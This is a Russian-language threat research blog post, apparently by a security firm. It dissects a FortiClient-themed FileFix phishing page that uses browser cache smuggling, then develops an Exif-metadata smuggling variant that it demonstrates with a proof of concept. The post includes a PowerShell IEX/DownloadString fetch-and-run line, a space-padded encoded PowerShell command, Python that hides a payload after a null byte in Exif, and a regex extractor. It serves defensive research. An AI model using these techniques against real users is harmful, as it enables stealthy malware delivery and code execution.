
Недавно в ходе рутинной разведки угроз я наткнулся на необычную фишинговую страницу, которая комбинирует социальную инженерию и коварный payload под видом обычной JPEG-картинки, убеждая пользователя самостоятельно выполнить вредоносный код.
В типичных сценариях злоумышленники пытаются заставить жертву скачать исполняемый файл из сети — но тут всё хитрее. Страница прячет в кэше браузера вредоносный файл, замаскированный под изображение, а затем просит жертву выполнить «безобидную» команду, которая извлекает payload из кэша. В результате получаем локальный запуск кода, который не фиксируется средствами сетевого мониторинга.
По сути, атака умело сочетает две техники: принуждение к локальному исполнению (ClickFix/FileFix) и контрабанду кэша (Cache Smuggling). В статье я подробно разберу каждый из этих приемов и покажу, как можно сделать доставку полезной нагрузки еще более незаметной.
ClickFix: фишинг под маской технической инструкции
ClickFix — прием социальной инженерии, в котором перед жертвой разыгрывают некую техническую проблему (например, «подтвердите, что вы не робот»), а затем уловками заставляют выполнить нужный скрипт.
Страница подсовывает посетителю знакомую веб-фичу — чаще всего это проверка CAPTCHA — и просит выполнить простую последовательность: Win + R, Ctrl + V, Enter. Пока тот читает инструкцию, скрипт на странице кладет в буфер обмена заранее подготовленную команду.

Атака использует возможность JavaScript записывать текст в буфер обмена: сайт фоново подставляет вредоносную команду, а пользователь копирует её в окно «Выполнить» (Run) и подтверждает. Многие среды выполнения скриптов (PowerShell, WScript) принимают и исполняют код, переданный как текст, поэтому одно нажатие Enter превращается в запуск произвольного кода.
Ограничение метода в том, что поле ввода окна «Выполнить» имеет предел в 260 символов, поэтому туда сложно уместить развернутый скрипт со всей необходимой логикой и аргументами. Чтобы обойти это препятствие, атакующие обычно используют загрузчик (bootstrap) — компактную команду, которая скачивает и тут же выполняет второй этап. Пример реализации такого подхода в Powershell:
powershell -w hidden
-c "IEX(New-Object Net.WebClient).DownloadString('https://example.local/payload')"
Такие трюки позволяют сэкономить символы, но привлекают к себе слишком много внимания. Характерные аргументы командной строки (IEX, DownloadString), мгновенные HTTP-запросы к подозрительным хостам — всё это легко детектируется межсетевыми экранами и EDR. Тут на помощь злоумышленникам приходит более продвинутый «брат» ClickFix.
FileFix: ClickFix на стероидах
В основе FileFix — та же идея социальной инженерии, но реализация масштабнее: жертву убеждают вставить команду не в окно «Выполнить», а в адресную строку Проводника Windows. Адресная строка поддерживает до 2048 символов (против 260 у Run) — это дает атакующим пространство для размещения более сложных и многоступенчатых команд.
Второе преимущество адресной строки кроется в особенностях интерфейса: если окно Проводника не раскрыто на весь экран, пользователь увидит только часть вставленного текста. Поэтому команду «добивают» пробелами так, чтобы в видимом участке строки оставался только путь к файлу, а вредоносная часть оставалась вне поля зрения.
Именно этот прием всплыл в кейсе, о котором я говорил в начале статьи. Фишинговая страница маскируется под FortiClient Compliance Checker, вежливо предлагая жертве «проверить совместимость VPN-клиента с корпоративной сетью». Кнопка «Open File Explorer» сама откроет Проводник и подсунет нужную строку в буфер обмена — пользователю даже не нужно копировать текст и прожимать Win + E.

Этой атаке также крайне способствует то, что веб-страницы могут самостоятельно открывать Проводник при помощи JavaScript. Возможно, авторы этой фичи считали, что в интернете все друзья и никаких киберугроз не существует.
Cache Smuggling: доставляем полезную нагрузку «контрабандой»
Уникальность исследуемой нами атаки в том, что она комбинирует FileFix с контрабандой кэша (Cache Smuggling) — то есть использует кэш браузера как тайник для payload. Благодаря этому PowerShell-скрипту вообще не нужно делать подозрительных веб-запросов, которые могли бы привлечь внимание EDR.
В основе этого трюка лежит злоупотребление веб-заголовками. Браузеры по умолчанию сохраняют на диск статические веб-ресурсы (CSS, JavaScript, изображения), ориентируясь на HTTP-заголовок Content-Type.
Если сервер говорит «это картинка» (Content-Type:image/jpeg), браузер ему поверит и сохранит полученный ответ в кэш как изображение, даже если в теле ответа по факту лежит не JPG, а ZIP или исполняемый файл (<img src="/malware.exe">).
В нашем кейсе JavaScript загружает в кэш под видом такой «картинки» ZIP-архив с полезной нагрузкой с помощью fetch(). После этого Powershell-скрипт (тот самый, который подсунули в буфер обмена жертвы с помощью FileFix) просто находит в кэше нужный файл и извлекает из него полезную нагрузку. Бинго.
Метод достаточно элегантный, но у него есть три недостатка:
Так как файл не является реальным JPG, браузер будет считать его поврежденным и показывать иконку «битой» картинки. Вероятно, именно поэтому в нашем скрипте используется
fetch().Любой файрвол, выполняющий проверку TLS, мгновенно заметит несоответствие между заголовком файла и его содержимым. Для атаки, которая изначально спроектирована так, чтобы «не будить» средства мониторинга, это серьезный минус.
Как только скрипт PowerShell начнет взаимодействовать с файлом кэша, антивирус его тут же просканирует — в этот момент тип файла уже не будет играть роли.
Последнее ограничение можно легко обойти: достаточно загружать payload в кэш в зашифрованном виде, а в загрузчик добавить простую процедуру расшифровки, которая будет выполняться уже при извлечении нагрузки из кэша.
Теперь давайте посмотрим, как ещё можно развить эту цепочку атаки.
Выходим за рамки Cache Smuggling
Впервые увидев примеры Cache Smuggling, я сразу подумал: почему бы не использовать стеганографию? Она как раз позволяет упаковать любые данные в изображение — достаточно закодировать байты в отдельные пиксели. В теории можно взять настоящий JPEG, вписать туда всю полезную нагрузку, а потом научить PowerShell-скрипт аккуратно её извлекать.
Но довольно быстро стало понятно, почему ни один из известных вариантов FileFix так не делает. Запихнуть полноценный JPEG-декодер в скрипт размером менее 2048 байт практически невозможно. А ведь нужно ещё оставить часть лимита под пробелы, чтобы скрыть вредоносную часть команды в адресной строке.
Следующая идея казалась куда реалистичнее: а что насчет Exif? JPEG поддерживает хранение метаданных через Exif (Exchangeable Image File Format). Обычно туда помещают информацию о снимке — модель камеры, выдержку, дату, координаты. Я задумался: возможно, есть какое-нибудь поле метаданных, в которое можно было бы уместить полезную нагрузку второго этапа?
На удивление, ограничения там оказались куда мягче, чем можно ожидать. В изображении можно хранить целых 64 КБ метаданных; более того, одно поле Exif может занять все 64 КБ пространства.
К тому же у Exif есть занятный «побочный эффект» парсинга: некоторые инструменты обработки изображений показывают не всё, что физически лежит в метаданных. При определенном оформлении пользовательского поля часть данных может просто «выпасть» из вывода. Это открывает возможность спрятать полезную нагрузку не только от глаза пользователя, но и от части инструментов анализа.
Скрываем полезную нагрузку с помощью «обрезки» EXIF-полей
EXIF-поля поддерживают разные типы данных: byte, short, long, float, ascii и т. д. В стандартном тексте в кодировке ASCII для обозначения конца строки используется нулевой байт.
В EXIF всё работает иначе: каждое поле хранит явное значение длины (count) для каждого типа данных, включая ASCII. Это значит, что большинство парсеров текста прекратит чтение на первом нулевом байте, считая, что строка закончилась, хотя истинный размер поля может быть гораздо больше.
Если присвоить максимальное значение полю ASCII, то мы сможем хранить в нем до 64 КБ, не поломав при этом формат Exif. Но поскольку большинство ПО считает, что нулевой байт означает конец строки ASCII, мы сможем скрыть данные от многих парсеров Exif, записав нулевой байт перед полезной нагрузкой.
Если мы используем поле типа ASCII, то присвоив значение вида <какой-то текст><нулевой байт><наша полезная нагрузка>, мы помешаем этим парсерам отображать часть поля, содержащую полезную нагрузку.
Я протестировал это при помощи Python, присвоив полю Description значение Definitely Not Malware\0AAAAAAAAAAAAAAAAAAAAAAAAA.

Как видите, при просмотре данных Exif в свойствах файла отображается только часть строки «Definitely Not Malware». Однако если открыть изображение в шестнадцатеричном редакторе, мы увидим, что скрытая часть (AAAAAAAAAAAAAAAAAAAAAAAAA) всё-таки присутствует в Exif.

Так как значения длины Exif используются при парсинге Exif, это никак не влияет на другие поля Exif и на рендеринг изображения. Данные абсолютно валидны, просто при отображении текстовой строки ПО обычно не выполняют считывание после нулевого байта.
Комбинируем Exif Smuggling и FileFix
Раз уж мы можем поместить в Exif-заголовок изображения единый непрерывный блок бинарных данных, полноценный парсер Exif нам, по сути, не нужен. Достаточно обернуть данные в какие-нибудь теги, а затем при помощи регулярного выражения извлечь всё, что находится между ними. Я решил обернуть данные так:
13371337<данные полезной нагрузки>13371337
В итоге поле Image Description приобретает форму:
Definitely Not Malware<нулевой байт>13371337<данные полезной нагрузки>13371337
Вот фрагмент Python-кода, с помощью которого я кладу полезную нагрузку в Exif:
image_description = b'Definitely Not Malware\x00'
full_payload = image_description + b'13371337' + payload_data + b'13371337'
Так данные оказываются спрятаны внутри Image Description. В самом описании видно только фразу «Definitely Not Malware».
Чтобы извлечь полезную нагрузку с помощью PowerShell, можно использовать такую команду:
$content = [System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($file_name));
$match = [regex]::Match($content, "(?s)13371337(.*?)13371337");
Скрипту PowerShell достаточно лишь пройтись по каталогу кэша браузера и ждать совпадения регулярного выражения.
Чтобы показать, как такая модификация атаки работает на практике, я создал простой proof-of-concept в виде фишинговой страницы, скрывающей DLL «Hello World» внутри логотипа компании:

Следуя передовым практикам FlieFix-фишинга, прячем вредоносный скрипт с помощью пробелов:
conhost.exe --headless powershell.exe -EncodedCommand <base64 command here> -ExecutionPolicy "\\\\NetworkShare\\Finance\\Reports\\EmployeeSalaries.txt"
При вставке команды в Проводник пользователь увидит только это:

Зловредная команда, которую мой веб-сайт копирует в буфер обмена, запускает powershell.exe и передает скрипт в кодировке base64. Закодированный скрипт создает копию папки кэша браузера и просматривает файлы в поисках сигнатуры 13371337.
В данном случае полезная нагрузка — это простой незашифрованный DLL-файл «Hello World». Так как возможности шифрования/расшифровки можно добавить тривиальным образом, я решил не заниматься этим в своем примере.
Proof-of-concept-скрипт, комбинирующий методы Exif Smuggling и FileFix, лежит здесь.
Заключительные мысли (и ещё один вектор как вишенка на торте)
Большинство сайтов и сервисов вычищают Exif-метаданные из изображений в целях приватности, но я нашел ещё один неожиданный вектор — Microsoft Outlook.
Outlook работает как «почтовая оболочка поверх Edge» и обрабатывает вложенные изображения так же, как браузер. Это открывает возможности для Exif-контрабанды через email: достаточно просто приложить JPG и отправить его жертве. Вероятно, это поведение работает и в других клиентах, но я тестировал только Outlook.
Что особенно занятно — Outlook, похоже, превентивно кэширует и скачивает графические вложения, даже если предварительный просмотр изображений отключен. В обоих сценариях метаданные Exif остаются нетронутыми, что позволяет загрузить payload на устройство жертвы ещё до того, как та откроет письмо.
Дальше, разумеется, всё ещё нужен компонент, который извлечет payload из кэша и выполнит его. Но главная фишка этой техники как раз в том, что она расширяет варианты доставки: многие вредоносы традиционно делают HTTP-запрос, чтобы скачать второй этап, а здесь можно обойтись вообще без загрузок — всё уже «доставлено» кэшированием.
Использовать Exif для скрытия данных — не новая идея. Но раньше это делали в сценариях, где само вредоносное ПО скачивает картинку и достает из неё payload. Когда это объединяется с Cache Smuggling, ситуация меняется: любой софт, который кэширует изображения и не удаляет Exif, превращается в пассивный канал доставки второго этапа, без сетевой активности со стороны вредоноса.
По сути, такой подход позволяет строить загрузчики, которым не нужно связаться с командным сервером (C2-less loaders). Загрузчик может не выполнять веб-запросы, а просто мониторить локальный кэш в поисках файлов, содержащих заранее определенные сигнатуры.
Отсюда вытекает главный вывод для безопасников: нельзя полагаться на предпосылку «если скрипт не делает сетевых запросов, значит, он не получил payload». Если второй этап уже «доставлен» в систему через кэширование, любые меры безопасности, ограничивающие способность скрипта делать веб-запросы, окажутся неэффективными.

Бастион — защищаем бизнес от киберугроз
t.me/bastiontech — делимся собственным опытом, экспертизой, результатами исследований и прогнозами